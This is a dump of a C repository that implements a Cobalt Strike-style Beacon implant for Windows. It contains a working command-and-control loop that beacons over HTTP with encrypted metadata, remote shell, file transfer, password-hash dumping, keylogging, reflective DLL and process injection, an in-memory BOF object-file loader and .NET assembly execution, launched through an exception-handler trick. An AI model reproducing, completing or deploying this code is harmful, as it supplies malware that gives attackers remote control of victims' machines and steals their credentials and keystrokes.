Repository: M0nster3/Beacon Branch: master Commit: 68196b31bd8e Files: 36 Total size: 270.4 KB Directory structure: gitextract_q9ee1e6c/ ├── .gitattributes ├── .gitignore ├── Beacon/ │ ├── Beacon.c │ ├── Beacon.vcxproj │ ├── Beacon.vcxproj.filters │ ├── Bof.c │ ├── Bof.h │ ├── CmdExecuteAssembly.c │ ├── Command.c │ ├── Command.h │ ├── Config.c │ ├── Config.h │ ├── DunpHash.c │ ├── File.c │ ├── GuangMing.c │ ├── GuangMing.h │ ├── Http.c │ ├── Http.h │ ├── InjectProcess.c │ ├── Job.c │ ├── Job.h │ ├── MetaData.c │ ├── MetaData.h │ ├── Patch.c │ ├── Shell.c │ ├── Util.h │ ├── bcookesHalosGate.asm │ ├── libcrypto.lib │ ├── ntdef.h │ └── util.c ├── Beacon.sln ├── README.md └── ceshi/ ├── ce.c ├── ceshi.vcxproj ├── ceshi.vcxproj.filters └── stdafx.h ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitattributes ================================================ ############################################################################### # Set default behavior to automatically normalize line endings. ############################################################################### * text=auto ############################################################################### # Set default behavior for command prompt diff. # # This is need for earlier builds of msysgit that does not have it on by # default for csharp files. # Note: This is only used by command line ############################################################################### #*.cs diff=csharp ############################################################################### # Set the merge driver for project and solution files # # Merging from the command prompt will add diff markers to the files if there # are conflicts (Merging from VS is not affected by the settings below, in VS # the diff markers are never inserted). Diff markers may cause the following # file extensions to fail to load in VS. An alternative would be to treat # these files as binary and thus will always conflict and require user # intervention with every merge. To do so, just uncomment the entries below ############################################################################### #*.sln merge=binary #*.csproj merge=binary #*.vbproj merge=binary #*.vcxproj merge=binary #*.vcproj merge=binary #*.dbproj merge=binary #*.fsproj merge=binary #*.lsproj merge=binary #*.wixproj merge=binary #*.modelproj merge=binary #*.sqlproj merge=binary #*.wwaproj merge=binary ############################################################################### # behavior for image files # # image files are treated as binary by default. ############################################################################### #*.jpg binary #*.png binary #*.gif binary ############################################################################### # diff behavior for common document formats # # Convert binary document formats to text before diffing them. This feature # is only available from the command line. Turn it on by uncommenting the # entries below. ############################################################################### #*.doc diff=astextplain #*.DOC diff=astextplain #*.docx diff=astextplain #*.DOCX diff=astextplain #*.dot diff=astextplain #*.DOT diff=astextplain #*.pdf diff=astextplain #*.PDF diff=astextplain #*.rtf diff=astextplain #*.RTF diff=astextplain ================================================ FILE: .gitignore ================================================ ## Ignore Visual Studio temporary files, build results, and ## files generated by popular Visual Studio add-ons. ## ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore # User-specific files *.rsuser *.suo *.user *.userosscache *.sln.docstates # User-specific files (MonoDevelop/Xamarin Studio) *.userprefs # Mono auto generated files mono_crash.* # Build results [Dd]ebug/ [Dd]ebugPublic/ [Rr]elease/ [Rr]eleases/ x64/ x86/ [Ww][Ii][Nn]32/ [Aa][Rr][Mm]/ [Aa][Rr][Mm]64/ bld/ [Bb]in/ [Oo]bj/ [Oo]ut/ [Ll]og/ [Ll]ogs/ # Visual Studio 2015/2017 cache/options directory .vs/ # Uncomment if you have tasks that create the project's static files in wwwroot #wwwroot/ # Visual Studio 2017 auto generated files Generated\ Files/ # MSTest test Results [Tt]est[Rr]esult*/ [Bb]uild[Ll]og.* # NUnit *.VisualState.xml TestResult.xml nunit-*.xml # Build Results of an ATL Project [Dd]ebugPS/ [Rr]eleasePS/ dlldata.c # Benchmark Results BenchmarkDotNet.Artifacts/ # .NET Core project.lock.json project.fragment.lock.json artifacts/ # ASP.NET Scaffolding ScaffoldingReadMe.txt # StyleCop StyleCopReport.xml # Files built by Visual Studio *_i.c *_p.c *_h.h *.ilk *.meta *.obj *.iobj *.pch *.pdb *.ipdb *.pgc *.pgd *.rsp *.sbr *.tlb *.tli *.tlh *.tmp *.tmp_proj *_wpftmp.csproj *.log *.vspscc *.vssscc .builds *.pidb *.svclog *.scc # Chutzpah Test files _Chutzpah* # Visual C++ cache files ipch/ *.aps *.ncb *.opendb *.opensdf *.sdf *.cachefile *.VC.db *.VC.VC.opendb # Visual Studio profiler *.psess *.vsp *.vspx *.sap # Visual Studio Trace Files *.e2e # TFS 2012 Local Workspace $tf/ # Guidance Automation Toolkit *.gpState # ReSharper is a .NET coding add-in _ReSharper*/ *.[Rr]e[Ss]harper *.DotSettings.user # TeamCity is a build add-in _TeamCity* # DotCover is a Code Coverage Tool *.dotCover # AxoCover is a Code Coverage Tool .axoCover/* !.axoCover/settings.json # Coverlet is a free, cross platform Code Coverage Tool coverage*.json coverage*.xml coverage*.info # Visual Studio code coverage results *.coverage *.coveragexml # NCrunch _NCrunch_* .*crunch*.local.xml nCrunchTemp_* # MightyMoose *.mm.* AutoTest.Net/ # Web workbench (sass) .sass-cache/ # Installshield output folder [Ee]xpress/ # DocProject is a documentation generator add-in DocProject/buildhelp/ DocProject/Help/*.HxT DocProject/Help/*.HxC DocProject/Help/*.hhc DocProject/Help/*.hhk DocProject/Help/*.hhp DocProject/Help/Html2 DocProject/Help/html # Click-Once directory publish/ # Publish Web Output *.[Pp]ublish.xml *.azurePubxml # Note: Comment the next line if you want to checkin your web deploy settings, # but database connection strings (with potential passwords) will be unencrypted *.pubxml *.publishproj # Microsoft Azure Web App publish settings. Comment the next line if you want to # checkin your Azure Web App publish settings, but sensitive information contained # in these scripts will be unencrypted PublishScripts/ # NuGet Packages *.nupkg # NuGet Symbol Packages *.snupkg # The packages folder can be ignored because of Package Restore **/[Pp]ackages/* # except build/, which is used as an MSBuild target. !**/[Pp]ackages/build/ # Uncomment if necessary however generally it will be regenerated when needed #!**/[Pp]ackages/repositories.config # NuGet v3's project.json files produces more ignorable files *.nuget.props *.nuget.targets # Microsoft Azure Build Output csx/ *.build.csdef # Microsoft Azure Emulator ecf/ rcf/ # Windows Store app package directories and files AppPackages/ BundleArtifacts/ Package.StoreAssociation.xml _pkginfo.txt *.appx *.appxbundle *.appxupload # Visual Studio cache files # files ending in .cache can be ignored *.[Cc]ache # but keep track of directories ending in .cache !?*.[Cc]ache/ # Others ClientBin/ ~$* *~ *.dbmdl *.dbproj.schemaview *.jfm *.pfx *.publishsettings orleans.codegen.cs # Including strong name files can present a security risk # (https://github.com/github/gitignore/pull/2483#issue-259490424) #*.snk # Since there are multiple workflows, uncomment next line to ignore bower_components # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) #bower_components/ # RIA/Silverlight projects Generated_Code/ # Backup & report files from converting an old project file # to a newer Visual Studio version. Backup files are not needed, # because we have git ;-) _UpgradeReport_Files/ Backup*/ UpgradeLog*.XML UpgradeLog*.htm ServiceFabricBackup/ *.rptproj.bak # SQL Server files *.mdf *.ldf *.ndf # Business Intelligence projects *.rdl.data *.bim.layout *.bim_*.settings *.rptproj.rsuser *- [Bb]ackup.rdl *- [Bb]ackup ([0-9]).rdl *- [Bb]ackup ([0-9][0-9]).rdl # Microsoft Fakes FakesAssemblies/ # GhostDoc plugin setting file *.GhostDoc.xml # Node.js Tools for Visual Studio .ntvs_analysis.dat node_modules/ # Visual Studio 6 build log *.plg # Visual Studio 6 workspace options file *.opt # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) *.vbw # Visual Studio LightSwitch build output **/*.HTMLClient/GeneratedArtifacts **/*.DesktopClient/GeneratedArtifacts **/*.DesktopClient/ModelManifest.xml **/*.Server/GeneratedArtifacts **/*.Server/ModelManifest.xml _Pvt_Extensions # Paket dependency manager .paket/paket.exe paket-files/ # FAKE - F# Make .fake/ # CodeRush personal settings .cr/personal # Python Tools for Visual Studio (PTVS) __pycache__/ *.pyc # Cake - Uncomment if you are using it # tools/** # !tools/packages.config # Tabs Studio *.tss # Telerik's JustMock configuration file *.jmconfig # BizTalk build output *.btp.cs *.btm.cs *.odx.cs *.xsd.cs # OpenCover UI analysis results OpenCover/ # Azure Stream Analytics local run output ASALocalRun/ # MSBuild Binary and Structured Log *.binlog # NVidia Nsight GPU debugger configuration file *.nvuser # MFractors (Xamarin productivity tool) working folder .mfractor/ # Local History for Visual Studio .localhistory/ # BeatPulse healthcheck temp database healthchecksdb # Backup folder for Package Reference Convert tool in Visual Studio 2017 MigrationBackup/ # Ionide (cross platform F# VS Code tools) working folder .ionide/ # Fody - auto-generated XML schema FodyWeavers.xsd ================================================ FILE: Beacon/Beacon.c ================================================ //// #include #include "MetaData.h" #include "Util.h" #include "Http.h" #pragma warning(disable:4996) #define KEY_LENGTH 32 #include #include "Config.h" #include "Command.h" #include "Job.h" #include #include extern int SleepTime; extern unsigned char AESRandaeskey[16]; extern unsigned char Hmackey[16]; extern int clientID; struct curl_slist* fist() { struct curl_slist* headers = NULL; EncryMetadataResult EncryMetainfos = EncryMetadata(); unsigned char* EncryMetainfo = EncryMetainfos.EncryMetadata; int EncryMetainfolen = EncryMetainfos.EncryMetadataLen; char* baseEncode1 = base64Encode(EncryMetainfo, EncryMetainfolen); //printf("base:%s\n", baseEncode1); // headersij size_t headers_length = strlen(metadata_header) + strlen(metadata_prepend); // 㹻ڴռheadersmetadata_headermetadata_prependȥ unsigned char* hea = (unsigned char*)malloc(headers_length + 1); // +1 Ϊ˴ַ'\0' memcpy(hea, metadata_header, strlen(metadata_header)); memcpy(hea + strlen(metadata_header), metadata_prepend, strlen(metadata_prepend)); hea[headers_length] = '\0'; // ȷheadersĩβַ //char header[] = "Cookie: SESSIONID="; // ͷַ char* concatenatedString = (char*)malloc(strlen(hea) + strlen(baseEncode1) + 1); strcpy(concatenatedString, hea); strcat(concatenatedString, baseEncode1); headers = curl_slist_append(headers, concatenatedString); headers = curl_slist_append(headers, "Host:aliyun.com"); // ִHTTP GET󣬲ͷ perform_requestresult result = perform_get_request(Http_get_uri, headers); printf("First Success-----------------------------------------------------------------------------------------------\n"); while (1) { perform_requestresult result = perform_get_request(Http_get_uri, headers); size_t responsedatalen; unsigned char* responsedata = parseGetResponse(result.resqresult, result.respsize, &responsedatalen); printf("CONNECT HTTP Success"); size_t jia = 0; int jiaci =1; if (responsedatalen > 4) { printf("\n\nһ׶++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ %d\n\n", result.respsize); size_t dataLength = responsedatalen; size_t middleDataLength = dataLength - 16; // ƫ unsigned char* key = AESRandaeskey; size_t ivLength = strlen((char*)IV); size_t decryptAES_CBCdatalen; unsigned char* decryptAES_CBCdata = AesCBCDecrypt(responsedata, key, middleDataLength ,&decryptAES_CBCdatalen); if (decryptAES_CBCdata != NULL) { unsigned char* lenBytesstart = decryptAES_CBCdata + 4; uint8_t lenBytes[4]; memcpy(lenBytes, lenBytesstart, 4); uint32_t BiglenBytes = bigEndianUint32(lenBytes); unsigned char* decryptedBuf = decryptAES_CBCdata + 8; while (1) { if (BiglenBytes <= 0) { break; } int callbackType = 0; uint32_t commandType; unsigned char* commandBuf; size_t commandBuflen ; commandBuf = parsePacket(decryptedBuf, &BiglenBytes, &commandType, &commandBuflen, &jia ,&jiaci); unsigned char* buff = NULL; size_t Bufflen; switch (commandType) { case CMD_TYPE_SLEEP: SleepTimes(commandBuf); callbackType = 0; case CMD_TYPE_FILE_BROWSE: callbackType = 22; buff = CmdFileBrowse(commandBuf,&Bufflen); break; case CMD_TYPE_UPLOAD_START: buff = parseUpload(commandBuf, commandBuflen, &Bufflen,1); callbackType = -1; break; case CMD_TYPE_UPLOAD_LOOP: buff = parseUpload(commandBuf, commandBuflen, &Bufflen,2); callbackType = -1; break; case CMD_TYPE_DRIVES: callbackType = 22; buff = CmdDrives(commandBuf, &Bufflen); break; case CMD_TYPE_MKDIR: callbackType = 0; buff = cmdMkdir(commandBuf, commandBuflen, &Bufflen); break; case CMD_TYPE_RM: callbackType = 0; buff = fileRemove(commandBuf, commandBuflen, &Bufflen); break; case CMD_TYPE_DOWNLOAD: callbackType = 0; buff = Download(commandBuf, commandBuflen, &Bufflen); break; case CMD_TYPE_SHELL: callbackType = 0; buff = Cmdshell(commandBuf, commandBuflen, &Bufflen); break; case CMD_TYPE_Jobs: callbackType = -1; beacon_jobs(); break; case CMD_TYPE_Jobskill: callbackType = -1; beacon_JobKill(commandBuf, &Bufflen);; break; case CMD_TYPE_BOF: callbackType = -1; BeaconBof(commandBuf, commandBuflen, &Bufflen); break; case CMD_TYPE_EXIT: _exit(1); case CMD_TYPE_EXECUTE_ASSEMBLY_X64: callbackType = -1; EXECUTE_ASSEMBLY(commandBuf, commandBuflen, 0,0); break; case CMD_TYPE_PIPE: callbackType = -1; PipeJob(commandBuf, commandBuflen, &Bufflen); break; case CMD_TYPE_PS: callbackType = -1; beacon_ps(commandBuf, commandBuflen); break; case CMD_TYPE_DumpHHH: callbackType = -1; DumpHASH(); break; case CMD_TYPE_SPAWN_X64: callbackType = -1; BeaconSpawn(commandBuf, commandBuflen); break; case CMD_TYPE_INJECT_X86:// x86 ڲdllע ʵkeyLogger Printscreen PsInject Screenshot Screenwatch֮ callbackType = -1; BeaconReflectiveDLLInject(commandBuf, commandBuflen); break; case CMD_TYPE_INJECT_X64:// x86 ڲdllע ʵkeyLogger Printscreen PsInject Screenshot Screenwatch֮ callbackType = -1; BeaconReflectiveDLLInject(commandBuf, commandBuflen); break; case CMD_TYPE_KEYLOGGER: callbackType = -1; KEYLOGGEJob(0,commandBuf, commandBuflen,1); break; default: callbackType = 0; Bufflen = 31; unsigned char result[31] = "[-] This type is No Accomplish"; unsigned char* resultmemmory = (unsigned char*)malloc(31); memcpy(resultmemmory, result,31); buff = resultmemmory; break; } printf("\n"); if (callbackType >= 0) { DataProcess(buff, Bufflen, callbackType); } } free(decryptAES_CBCdata); } } Sleep(SleepTime); } return headers; Sleep(SleepTime); } LONG WINAPI VectoredExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) { //printf("ExceptionCode: %X\n", ExceptionInfo->ExceptionRecord->ExceptionCode); if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_INT_DIVIDE_BY_ZERO) { ExceptionInfo->ContextRecord->Rax = 1; ExceptionInfo->ContextRecord->Rcx = 1; DWORD currentProcessId = GetCurrentProcessId(); Duan(currentProcessId); fist(); return EXCEPTION_CONTINUE_EXECUTION; } return EXCEPTION_EXECUTE_HANDLER; } int main() { int number = 0; AddVectoredExceptionHandler(TRUE, VectoredExceptionHandler); __try { number /= 0; } // 쳣ȱ VEH յ޷Żᴫݸ SEH __except (EXCEPTION_EXECUTE_HANDLER) { printf("Nonono\n"); } return 0; } ================================================ FILE: Beacon/Beacon.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 Win32Proj {191a6f50-ae83-44d1-8446-9afb9a077a97} Beacon 10.0 x86-windows-static x64-windows-static Application true v143 Unicode Application false v143 true Unicode Application true v143 Unicode Application false v143 true Unicode false C:\Users\test\Desktop\vcpkg-2023.08.09\vcpkg-2023.08.09\packages\curl_x64-windows\include\curl;C:\Users\test\Desktop\vcpkg-2023.08.09\vcpkg-2023.08.09\packages\openssl_x64-windows\include\openssl;$(IncludePath) C:\Users\test\Desktop\vcpkg-2023.08.09\vcpkg-2023.08.09\packages\curl_x64-windows\lib;C:\Users\test\Desktop\vcpkg-2023.08.09\vcpkg-2023.08.09\packages\openssl_x64-windows\lib;$(LibraryPath) Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true 4996 MultiThreadedDebug true Console true dbghelp.lib;Crypt32.lib;%(AdditionalDependencies) RequireAdministrator Level3 true true true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug true Default Disabled false Console true true false RequireAdministrator dbghelp.lib;zlib.lib;Crypt32.lib;%(AdditionalDependencies) false MultiThreadedDebug false ================================================ FILE: Beacon/Beacon.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms {c080beae-b605-4553-9fed-0d69133780cb} {5b78ffdf-c6a7-4564-a111-4330e03fe7f6} {4b192a07-2beb-49bf-9f1b-01107daae80f} 源文件 源文件\MetaData 源文件\Util 源文件 源文件 源文件\Command 源文件\Command 源文件\Command 源文件 源文件\Command 源文件\Command 源文件 源文件 源文件 源文件\Util 头文件 头文件 头文件 头文件 头文件 头文件 头文件 头文件 头文件 源文件 ================================================ FILE: Beacon/Bof.c ================================================ #include "Bof.h" #include "Command.h" void __cdecl BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len) { ProcessInject(pid, 0, hProc, payload, p_len, p_offset, arg, a_len); //return; } void __cdecl BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pi, char* payload, int p_len, int p_offset, char* arg, int arg_len) { // ProcessInject(pi->dwProcessId, pi, pi->hProcess, payload, p_len, p_offset, arg, arg_len); return; } void __cdecl BeaconGetSpawnTo(BOOL x86, char* buffer, int length) { /* char path[256]; getspawntopath(path, x86); if (length >= 256) { memcpy(buffer, path, 0x100u); } else { memcpy(buffer, path, length); }*/ return; } HANDLE pTokenHandle; BOOL __cdecl SetBeaconToken(HANDLE hToken, char* buffer) { /*BeaconRevertToken(); if (!ImpersonateLoggedOnUser(hToken) || !DuplicateTokenEx(hToken, 0x2000000u, 0, SecurityDelegation, TokenPrimary, &pTokenHandle) || !ImpersonateLoggedOnUser(pTokenHandle) || !get_user_sid(0x100u, pTokenHandle, buffer)) { return 0; } BeaconTaskOutput(buffer, strlen(buffer), 15u);*/ return 1; } BOOL __cdecl BeaconUseToken(HANDLE hToken) { char* buffer = (char*)malloc(256u); memset(buffer, 0, 256); BOOL ret = SetBeaconToken(hToken, buffer); memset(buffer, 0, 256); free(buffer); return ret; } void __cdecl BeaconOutput(int type, char* data, int len) { //BeaconTaskOutput(data, len, type); } void __cdecl BeaconPrintf(int type, char* fmt, ...) { va_list ArgList = 0; va_start(ArgList, fmt); int size = vprintf(fmt, ArgList); if (size > 0) { char* buffer = (char*)malloc(size + 1); buffer[size] = 0; vsprintf_s(buffer, size + 1, fmt, ArgList); //BeaconTaskOutput(buffer, size, type); DataProcess(buffer,size,0); memset(buffer, 0, size); free(buffer); } } void InitInternalFunctions(BeaconInternalFunctions* InternalFunctions) { memset(InternalFunctions, 0, 252); InternalFunctions->LoadLibraryA = LoadLibraryA; InternalFunctions->FreeLibrary = FreeLibrary; InternalFunctions->GetProcAddress = GetProcAddress; InternalFunctions->GetModuleHandleA = GetModuleHandleA; InternalFunctions->BeaconDataParse = BeaconDataParse; InternalFunctions->BeaconDataPtr = BeaconDataPtr; InternalFunctions->BeaconDataInt = BeaconDataInt; InternalFunctions->BeaconDataShort = BeaconDataShort; InternalFunctions->BeaconDataLength = BeaconDataLength; InternalFunctions->BeaconDataExtract = BeaconDataExtract; InternalFunctions->BeaconFormatAlloc = BeaconFormatAlloc; InternalFunctions->BeaconFormatReset = BeaconFormatReset; InternalFunctions->BeaconFormatAppend = BeaconFormatAppend; InternalFunctions->BeaconFormatPrintf = BeaconFormatPrintf; InternalFunctions->BeaconFormatToString = BeaconFormatToString; InternalFunctions->BeaconFormatFree = BeaconFormatFree; InternalFunctions->BeaconFormatInt = BeaconFormatInt; InternalFunctions->BeaconOutput = BeaconOutput; InternalFunctions->BeaconPrintf = BeaconPrintf; InternalFunctions->BeaconErrorD = BeaconErrorD; InternalFunctions->BeaconErrorDD = BeaconErrorDD; InternalFunctions->BeaconErrorNA = BeaconErrorNA; InternalFunctions->BeaconUseToken = BeaconUseToken; InternalFunctions->BeaconRevertToken = BeaconRevertToken; InternalFunctions->BeaconIsAdmin = is_admin; InternalFunctions->BeaconGetSpawnTo = BeaconGetSpawnTo; InternalFunctions->BeaconInjectProcess = BeaconInjectProcess; InternalFunctions->BeaconInjectTemporaryProcess = BeaconInjectTemporaryProcess; InternalFunctions->BeaconSpawnTemporaryProcess = BeaconSpawnTemporaryProcess; InternalFunctions->BeaconCleanupProcess = BeaconcloseAllHandle; InternalFunctions->toWideChar = toWideChar; } int FixRelocation(BeaconBofRelocation* pBofRelocation, char* pcode_data, char* seg, int OffsetInSection, char* bof_code) { if (pBofRelocation->Type == 6) { *(DWORD*)&pcode_data[pBofRelocation->offset] += (DWORD)&seg[OffsetInSection]; return 1; } if (pBofRelocation->Type == 4) { *(DWORD*)&pcode_data[pBofRelocation->offset] = (DWORD)&seg[*(DWORD*)&pcode_data[pBofRelocation->offset] - pBofRelocation->offset - (DWORD)bof_code - 4 + OffsetInSection]; return 1; } BeaconErrorD(79, pBofRelocation->Type); return 0; } char* GetBeaconFunPtr(BeaconInternalFunctions* pinternalFunctions, char* pfun) { char** p_end = &pinternalFunctions->end; size_t number = 0; char** pbeaconfun = &pinternalFunctions->end; do { if (*pbeaconfun == pfun) { return (char*)(&pinternalFunctions->end + number); } ++number; ++pbeaconfun; } while (number < 64); number = 0; while (*p_end) { ++number; ++p_end; if (number >= 64) { return 0; } } char* fun = (char*)(&pinternalFunctions->end + number); *(char**)fun = pfun; return fun; } void __cdecl BeaconBof(unsigned char* Taskdata, size_t* Tasksize, size_t* Bufflen) { BeaconInternalFunctions* internalFunctions = (BeaconInternalFunctions*)malloc(252); InitInternalFunctions(internalFunctions); datap pdatap; BeaconDataParse(&pdatap, Taskdata, Tasksize); int getEntryPoint = BeaconDataInt(&pdatap); int code_size = 0; char* pcode = BeaconDataPtr3(&pdatap, &code_size); int rdata_size = 0; char* prdata = BeaconDataPtr3(&pdatap, &rdata_size); int data2_size = 0; char* pdata2 = BeaconDataPtr3(&pdatap, &data2_size); int relocations_size = 0; char* prelocations = BeaconDataPtr3(&pdatap, &relocations_size); int alen = 0; char* args = BeaconDataPtr3(&pdatap, &alen); //LPVOID bof_code = RWXaddress(); char* bof_code = (char*)VirtualAlloc(0, code_size, 0x3000u, PAGE_READWRITE); int GetBeaconFunPtradd = 0; if (bof_code) { datap pdatap; BeaconDataParse(&pdatap, prelocations, relocations_size); BeaconBofRelocation* pBofRelocation = (BeaconBofRelocation*)BeaconDataPtr(&pdatap, 12); while (1) { BOOL status; short id = pBofRelocation->id; if (id == 1028) // SYMBOL_END { break; } if (id == 1024) // SYMBOL_RDATA { status = FixRelocation(pBofRelocation, pcode, prdata, pBofRelocation->OffsetInSection, bof_code);//޸rdataضλ } else if (id == 1025) // SYMBOL_DATA { status = FixRelocation(pBofRelocation, pcode, pdata2, pBofRelocation->OffsetInSection, bof_code);//޸DATAضλ } else if (id == 1026) // SYMBOL_TEXT { status = FixRelocation(pBofRelocation, pcode, bof_code, pBofRelocation->OffsetInSection, bof_code);//޸codeضλ } else { char* pfun; if (id == 1027) // SYMBOL_DYNAMICF { char* strModule = BeaconDataPtr2(&pdatap); char* strFunction = BeaconDataPtr2(&pdatap); HMODULE dllbase = GetModuleHandleA(strModule); if (!dllbase) { dllbase = LoadLibraryA(strModule); } FARPROC functionaddress = GetProcAddress(dllbase, strFunction); if (!functionaddress) { //BeaconErrorFormat(76, (char*)"%s!%s", strModule, strFunction); return; } char* p = GetBeaconFunPtr(internalFunctions, (char*)functionaddress ); if (!p) { //BeaconErrorNA(0x4Eu); return; } pfun = p; } else//޸ { pfun = (char*)(&internalFunctions->LoadLibraryA + id); } status = FixRelocation(pBofRelocation, pcode, pfun, 0, bof_code); } if (!status) { return; } pBofRelocation = (BeaconBofRelocation*)BeaconDataPtr(&pdatap, 12); } memcpy(bof_code, pcode, code_size); memset(pcode, 0, code_size); if (CheckMemoryRWX(bof_code, code_size)) { ((void(__cdecl*)(char*, UINT)) & bof_code[getEntryPoint])(args, alen); } VirtualFree(bof_code, 0, 0x8000); free(internalFunctions); } } ================================================ FILE: Beacon/Bof.h ================================================ #pragma once #include "Util.h" typedef HMODULE(__stdcall* fpLoadLibraryA)(LPCSTR lpLibFileName); typedef BOOL(__stdcall* fpFreeLibrary)(HMODULE hLibModule); typedef FARPROC(__stdcall* fpGetProcAddress)(HMODULE hModule, LPCSTR lpProcName); typedef HMODULE(__stdcall* fpGetModuleHandleA)(LPCSTR lpModuleName); typedef void(__cdecl* fpBeaconDataParse)(formatp* parser, char* buffer, int size); typedef char* (__cdecl* fpBeaconDataPtr)(formatp* parser, int size); typedef int(__cdecl* fpBeaconDataInt)(formatp* parser); typedef short(__cdecl* fpBeaconDataShort)(formatp* parser); typedef int(__cdecl* fpBeaconDataLength)(formatp* parser); typedef char* (__cdecl* fpBeaconDataExtract)(formatp* parser, int* size); typedef void(__cdecl* fpBeaconFormatAlloc)(formatp* format, int maxsz); typedef void(__cdecl* fpBeaconFormatReset)(formatp* format); typedef void(__cdecl* fpBeaconFormatAppend)(formatp* format, char* text, int len); typedef void(__cdecl* fpBeaconFormatPrintf)(formatp* format, char* fmt, ...); typedef char* (__cdecl* fpBeaconFormatToString)(formatp* format, int* size); typedef void(__cdecl* fpBeaconFormatFree)(formatp* format); typedef void(__cdecl* fpBeaconFormatInt)(formatp* format, int value); typedef void(__cdecl* fpBeaconOutput)(int type, char* data, int len); typedef void(__cdecl* fpBeaconPrintf)(int type, char* fmt, ...); typedef void(__cdecl* fpBeaconErrorD)(int BeaconErrorsType, DWORD error_code); typedef void(__cdecl* fpBeaconErrorDD)(int BeaconErrorsType, int err_msg, u_long err_code_msg); typedef void(__cdecl* fpBeaconErrorNA)(int BeaconErrorsType); typedef BOOL(__cdecl* fpBeaconUseToken)(HANDLE token); typedef BOOL(__cdecl* fpBeaconIsAdmin)(); typedef void(__cdecl* fpBeaconRevertToken)(); typedef void(__cdecl* fpBeaconGetSpawnTo)(BOOL x86, char* buffer, int length); typedef void(__cdecl* fpBeaconInjectProcess)(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len); typedef void(__cdecl* fpBeaconInjectTemporaryProcess)(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len); typedef BOOL(__cdecl* fpBeaconSpawnTemporaryProcess)(BOOL x86, BOOL ignoreToken, STARTUPINFOA* si, PROCESS_INFORMATION* pInfo); typedef void(__cdecl* fpBeaconCleanupProcess)(PROCESS_INFORMATION* pInfo); typedef BOOL(__cdecl* fptoWideChar)(char* src, wchar_t* dst, unsigned int max); typedef struct { fpLoadLibraryA LoadLibraryA; fpFreeLibrary FreeLibrary; fpGetProcAddress GetProcAddress; fpGetModuleHandleA GetModuleHandleA; fpBeaconDataParse BeaconDataParse; fpBeaconDataPtr BeaconDataPtr; fpBeaconDataInt BeaconDataInt; fpBeaconDataShort BeaconDataShort; fpBeaconDataLength BeaconDataLength; fpBeaconDataExtract BeaconDataExtract; fpBeaconFormatAlloc BeaconFormatAlloc; fpBeaconFormatReset BeaconFormatReset; fpBeaconFormatAppend BeaconFormatAppend; fpBeaconFormatPrintf BeaconFormatPrintf; fpBeaconFormatToString BeaconFormatToString; fpBeaconFormatFree BeaconFormatFree; fpBeaconFormatInt BeaconFormatInt; fpBeaconOutput BeaconOutput; fpBeaconPrintf BeaconPrintf; fpBeaconErrorD BeaconErrorD; fpBeaconErrorDD BeaconErrorDD; fpBeaconErrorNA BeaconErrorNA; fpBeaconUseToken BeaconUseToken; fpBeaconRevertToken BeaconRevertToken; fpBeaconIsAdmin BeaconIsAdmin; fpBeaconGetSpawnTo BeaconGetSpawnTo; fpBeaconInjectProcess BeaconInjectProcess; fpBeaconInjectTemporaryProcess BeaconInjectTemporaryProcess; fpBeaconSpawnTemporaryProcess BeaconSpawnTemporaryProcess; fpBeaconCleanupProcess BeaconCleanupProcess; fptoWideChar toWideChar; char* end; }BeaconInternalFunctions; typedef struct { short Type; short id; int offset; int OffsetInSection; }BeaconBofRelocation; ================================================ FILE: Beacon/CmdExecuteAssembly.c ================================================ #include "Command.h" #include "Job.h" unsigned char* ParseArg(unsigned char* buf, size_t* argsize) { uint8_t argLenBytes[4]; if (*argsize == 0) { memcpy(argLenBytes, buf + 8, 4); uint32_t argLen = bigEndianUint32(argLenBytes); if (argLen != 0) { unsigned char* arg = (unsigned char*)malloc(argLen); memcpy(arg, buf + 12, argLen); arg[argLen] = '\0'; *argsize = 12 + argLen; return arg; } } else { memcpy(argLenBytes, buf + *argsize, 4); uint32_t argLen = bigEndianUint32(argLenBytes); if (argLen != 0) { unsigned char* arg = (unsigned char*)malloc(argLen); memcpy(arg, buf + 4 + *argsize, argLen); arg[argLen] = '\0'; *argsize = 4 + *argsize + argLen; return arg; } } } void ExecuteAssmblyInjection(int timeout, int p_offset, char* payload, size_t payloadsize, char* arg, int a_len, char* jobname, BOOL x86, int ignoreToken) { HANDLE hReadPipe = NULL; HANDLE hWritePipe = NULL; SECURITY_ATTRIBUTES securityAttributes = { 0 }; STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreatePipeJob Createpipe = createjob(); hReadPipe = Createpipe.hReadPipe; si = Createpipe.si; //ProcessInject(GetCurrentProcessId(), &pi, GetCurrentProcess(), payload, payloadsize, p_offset, arg, a_len); //ע뵽 if (BeaconSpawnTemporaryProcess(x86, ignoreToken, &si, &pi)) { Sleep(0x64u); ProcessInject(pi.dwProcessId, &pi, pi.hProcess, payload, payloadsize, p_offset, arg, a_len); /* if (timeout) { CheckTimeout(hReadPipe, timeout); }*/ Add_Beacon_0Job(pi.hProcess, pi.hThread, pi.dwProcessId, pi.dwThreadId, hReadPipe, hWritePipe, jobname); WaitForSingleObject(pi.hProcess, 5000); // 